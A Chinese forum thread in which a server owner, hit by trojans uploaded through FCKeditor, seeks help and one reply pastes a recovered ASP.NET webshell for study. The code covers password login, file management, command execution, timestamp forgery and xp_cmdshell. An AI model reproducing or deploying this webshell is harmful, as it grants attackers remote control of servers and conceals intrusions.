服务器早几天被上传asp木马。现在服务器上的IIS不能直接浏览。找不到网页,但是奇怪的是网站还能正常运行。
服务器上的Serv-U不能使用,报下面的错。
“Serv-U无法确定网络 网络故障或Sockets不足如何解决”
是什么原因,

解决方案 »

  1.   

    把Application Layer Gateway Service这个系统服务停止看看,还有我建议你前台不要用编辑器。
      

  2.   

    系统存在注入漏洞,比如新闻详细页面是否存在news?id=111这样的注入漏洞,对于Id参数你没有做判断直接操作数据库了?
      

  3.   

    sql注入啊。应该不是这个原因、
      

  4.   

    扫除了几个从fckeditor上传的一个木马。
      

  5.   

    这个是其中的一个。大家研究下咯。<%@ Page Language="VB" ContentType="text/html" validaterequest="false" AspCompat="true" Debug="true" %>
    <%@ import Namespace="System.IO" %>
    <%@ import Namespace="System.Diagnostics" %>
    <%@ import Namespace="Microsoft.Win32" %>
    <%@ import Namespace="System.Data" %>
    <%@ import Namespace="System.Data.OleDb" %>
    <script runat="server">    '---------Setting Start---------
        'Here, modify the default password to yours, MD5 Hash
        Const PASSWORD as string = "add6bb58e139be103324d04d82d8f545"
        'Session name, avoid session crash
        Const SESSIONNAME as string = "webadmin2"
        '---------Setting End---------
        
        Dim SORTFILED As String
        
        Sub Page_load(sender As Object, E As EventArgs)
          Dim error_x as Exception
          Try
            If Session(SESSIONNAME) = 0 Then
                ShowLogin()
            Else
                ShowMain()
                If not IsPostBack Then
                    Select Case Request("action")
                        Case "goto"
                            CDir.Text = Request("src")
                            Call ShowFolders(CDir.Text)
                        Case "copy"
                            Call ShowCopy(Request("src"))
                        Case "cut"
                            Call ShowCut(Request("src"))
                        Case "down"
                            Call DownLoadIt(Request("src"))
                        Case "edit"
                            Call ShowEdit(Request("src"))
                        Case "del"
                            Call ShowDel(Request("src"))
                        Case "rename"
                            Call ShowRn(Request("src"))
                        Case "att"
                            Call ShowAtt(Request("src"))
                    End Select
                End If
            End If
          Catch error_x
                ShowError(error_x.Message)
          End Try
        End Sub
        
        Sub Login_click(sender As Object, E As EventArgs)
            Dim MD5Pass As String = LCase(FormsAuthentication.HashPasswordForStoringInConfigFile(UPass.Text, "MD5"))
            If MD5Pass=PASSWORD Then
                Session(SESSIONNAME) = 1
                Call ShowMain()
            Else
                Label_Info.Text = "<b>NO, no, you don't my master</b>"
            End If
        End Sub
        
        
      

  6.   


     Sub Button_showinfo_Click(sender As Object, E As EventArgs)
            ULOGIN.Visible = False
            MAIN.Visible = True
            FileManager.Visible = False
            CMD.Visible = False
            CloneTime.Visible = False
            SQLROOTKIT.Visible = False
            SysInfo.Visible = True
            Reg.Visible = False
            DATA.Visible = False
            About.Visible = False
            ServerIP.Text = request.ServerVariables("LOCAL_ADDR")
            MachineName.Text = Environment.MachineName
            UserDomainName.Text = Environment.UserDomainName.ToString()
            UserName.Text = Environment.UserName
            OS.Text = Environment.OSVersion.ToString()
            StartTime.Text = GetStartedTime(Environment.Tickcount) & "Hours"
            NowTime.Text = Now()
            IISV.Text = request.ServerVariables("SERVER_SOFTWARE")
            HTTPS.Text = request.ServerVariables("HTTPS")
            PATHS.Text = request.ServerVariables("PATH_INFO")
            PATHS2.Text = request.ServerVariables("PATH_TRANSLATED")
            PORT.Text = request.ServerVariables("SERVER_PORT")
            SID.Text = Session.SessionID
        End Sub
        
        Function GetStartedTime(ms)
              GetStartedTime=cint(ms/(1000*60*60))
        End function
        
        Sub ShowReg(Src As Object, E As EventArgs)
            ULOGIN.Visible = False
            MAIN.Visible = True
            FileManager.Visible = False
            CMD.Visible = False
            CloneTime.Visible = False
            SQLROOTKIT.Visible = False
            SysInfo.Visible = False
            Reg.Visible = True
            DATA.Visible = False
            About.Visible = False
        End Sub
        
        Sub ShowData(Src As Object, E As EventArgs)
            ULOGIN.Visible = False
            MAIN.Visible = True
            FileManager.Visible = False
            CMD.Visible = False
            CloneTime.Visible = False
            SQLROOTKIT.Visible = False
            SysInfo.Visible = False
            Reg.Visible = False
            DATA.Visible = True
            About.Visible = False
        End Sub
        
        Sub ShowAbout(Src As Object, E As EventArgs)
            ULOGIN.Visible = False
            MAIN.Visible = True
            FileManager.Visible = False
            CMD.Visible = False
            CloneTime.Visible = False
            SQLROOTKIT.Visible = False
            SysInfo.Visible = False
            Reg.Visible = False
            DATA.Visible = False
            About.Visible = True
        End Sub
        
        Sub ShowEdit( filepath as string)
            ULOGIN.Visible = False
            MAIN.Visible = false
            FileManager.Visible = False
            CMD.Visible = False
            CloneTime.Visible = False
            SQLROOTKIT.Visible = False
            SysInfo.Visible = False
            Reg.Visible = False
            DATA.Visible = False
            About.Visible = False
            File_Edit.Visible = true
            edited_path.Text = filepath
            dim myread as new streamreader(filepath, encoding.default)
               edited_path.text = filepath
               edited_content.text=myread.readtoend
               myread.close()
        End Sub
        
        Sub ShowDel( filepath as string)
            MAIN.Visible = false
            FileManager.Visible = False
            File_del.Visible = True
            label_del.Text = "Are u sure delete file/Folder <b>" & filepath & "</b> ?"
        End Sub
        
        Sub ShowRn( filepath as string)
            MAIN.Visible = false
            FileManager.Visible = False
            File_Rename.Visible = True
            btn_rename.Text = path.getfilename(filepath)
        End Sub
        
        Sub RunCMD(Src As Object, E As EventArgs)
            Dim error_x as Exception
              Try
            Dim myProcess As New Process()
            Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
            myProcessStartInfo.UseShellExecute = False
            myProcessStartInfo.RedirectStandardOutput = true
            myProcess.StartInfo = myProcessStartInfo
            myProcessStartInfo.Arguments = CMDCommand.text
            myProcess.Start()
            Dim myStreamReader As StreamReader = myProcess.StandardOutput
            Dim myString As String = myStreamReader.Readtoend()
            myProcess.Close()
            mystring=replace(mystring,"<","&lt;")
            mystring=replace(mystring,">","&gt;")
            CMDresult.text = "<pre>" & mystring & "</pre>"
              Catch error_x
                   ShowError(error_x.Message)
              End Try
        End Sub
        
        Sub GoCloneTime(Src As Object, E As EventArgs)
              Dim error_x as Exception
              Try
              Dim thisfile As FileInfo =New FileInfo(time1.Text)
              Dim thatfile As FileInfo =New FileInfo(time2.Text)
              thisfile.LastWriteTime = thatfile.LastWriteTime
              thisfile.LastAccessTime = thatfile.LastAccessTime
              thisfile.CreationTime = thatfile.CreationTime
              Label_cloneResult.Text = "<font color=""red"">Clone Time Success!</font>"
              Catch error_x
                   ShowError(error_x.Message)
              End Try
        End Sub
        
        Sub CMDSHELL(Src As Object, E As EventArgs)
                Dim error_x as Exception
              Try
                Dim adoConn,strQuery,recResult,strResult
                     adoConn=Server.CreateObject("ADODB.Connection")
                     adoConn.Open(ConStr.Text)
                     If Sqlcmd.Text<>"" Then
                        strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
                            recResult = adoConn.Execute(strQuery)
                         If NOT recResult.EOF Then
                            Do While NOT recResult.EOF
                                strResult = strResult & chr(13) & recResult(0).value
                                recResult.MoveNext
                            Loop
                         End if
                         recResult = Nothing
                         strResult = Replace(strResult," ","&nbsp;")
                         strResult = Replace(strResult,"<","&lt;")
                         strResult = Replace(strResult,">","&gt;")
                        resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
                     End if
                      adoConn.Close
               Catch error_x
                   ShowError(error_x.Message)
              End Try
        End Sub
        
        
      

  7.   

    我们的也是这样类似的攻击.可烦人的!我们用的360+卡巴斯基.把Server-u关了.会好一点.